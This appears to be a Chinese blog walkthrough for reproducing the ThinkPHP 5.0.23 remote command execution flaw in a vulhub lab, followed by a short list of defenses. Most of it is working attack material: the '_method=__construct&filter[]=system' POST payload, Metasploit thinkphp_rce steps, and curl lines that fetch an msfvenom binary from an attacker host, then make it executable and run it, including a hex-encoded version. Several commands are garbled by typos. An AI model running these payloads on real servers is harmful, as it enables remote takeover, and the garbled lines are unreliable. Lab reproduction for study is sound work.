thinkphp漏洞复现

thinkphp 远程命令执行漏洞php的一个开发框架,5.0.23及以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行

sq1 注入 恶意构造的语句在数据库里面执行从而获取了数据

Rce 恶意构迷的语句在服务器(系统)上执行,从而达到黑客控制服务器的目的

类:方法的集合

方法:函数

函数:一串按照顺序和一定逻辑执行的代码

一、启动靶场

vulhub-master/thinkphp/

启动

docker-compose up -d

浏览器访问:http://192.168.59.10:8080/

  • 通过教程复现漏洞

application/x-www-form-urlencoded

application/json

Basic

浏览器访问:http://192.168.59.10:8080/index.php?s=captcha

抓包修改为POST

指定类型Content-Type:application/x-www-form-urlencoded

增加请求体:

_method= _construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

server[REQUEST_METHOD]表示要访问页面的请求方法

第二种方法:

_method= _construct&filter[]=system&method=get[]=ls

  • 利用msf复现

msfdb run

info

msf6 >use 0

msf6 exploit(unix/webapp/thinkphp_rce)>show options

msf6 exploit(unix/webapp/thinkphp_rce)>set rhosts 192.168.59.10

rhosts =>192.168.59.10

msf6 exploit(unix/webapp/thinkphp_rce)>set lhost 192.168.59.6

lhost =>192.168.59.6

msf6 exploit(unix/webapp/thinkphp_rce)>run

MSF实现直接获取权限原理

  1. 开启4444端口监听
  2. 检查有没有thinkphp漏洞
  3. 生成恶意程序
  4. 开放8080端口,可以让目标机从8080端口下载恶意程序
  5. 通过漏洞直接执行远程命令:

Curl -so /tmp/jGtAMkyrhttp://192.168.59.6:8080/VEJVQHJF2Y01;chmod +x/tmp/jGtAMkyr;/tmp/jGtAMkyr;rm-f/tmp/jGtAMkyr

  • 手工利用
  1. 生成恶意文件

msfvenom 5555

curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555

%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%3b%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35

curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter]=system&method=get&server [REQUEST_METHOD]=%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%26%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%36%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35"

curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter[]=system&method=get&server[REQUEST METHOD]=curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555"

  • 防御方法
  1. 升级thinkphp组件
  2. 打补丁
  3. 对method和_method进行过滤

相关推荐

  1. thinkphp漏洞

    2024-04-03 13:22:02       12 阅读
  2. Nginx漏洞与分析

    2024-04-03 13:22:02       32 阅读
  3. JeecgBoot jmreport/queryFieldBySql RCE漏洞

    2024-04-03 13:22:02       45 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-03 13:22:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-03 13:22:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-03 13:22:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-03 13:22:02       20 阅读

热门阅读

  1. pytorch中的while for 循环 导出onnx的问题

    2024-04-03 13:22:02       16 阅读
  2. docker安装nodejs

    2024-04-03 13:22:02       11 阅读
  3. Vue父子组件通信代码示例

    2024-04-03 13:22:02       14 阅读
  4. CachedNetworkImage 在listview 返回页面闪烁问题

    2024-04-03 13:22:02       12 阅读
  5. @QtCore.pyqtSlot() 的用法

    2024-04-03 13:22:02       12 阅读
  6. 排队接水水水水水水

    2024-04-03 13:22:02       12 阅读
  7. kafka broker

    2024-04-03 13:22:02       9 阅读
  8. go root和go path

    2024-04-03 13:22:02       13 阅读
  9. 软件设计原则:组合/聚合复用原则

    2024-04-03 13:22:02       13 阅读
  10. 算法刷题记录 Day33

    2024-04-03 13:22:02       14 阅读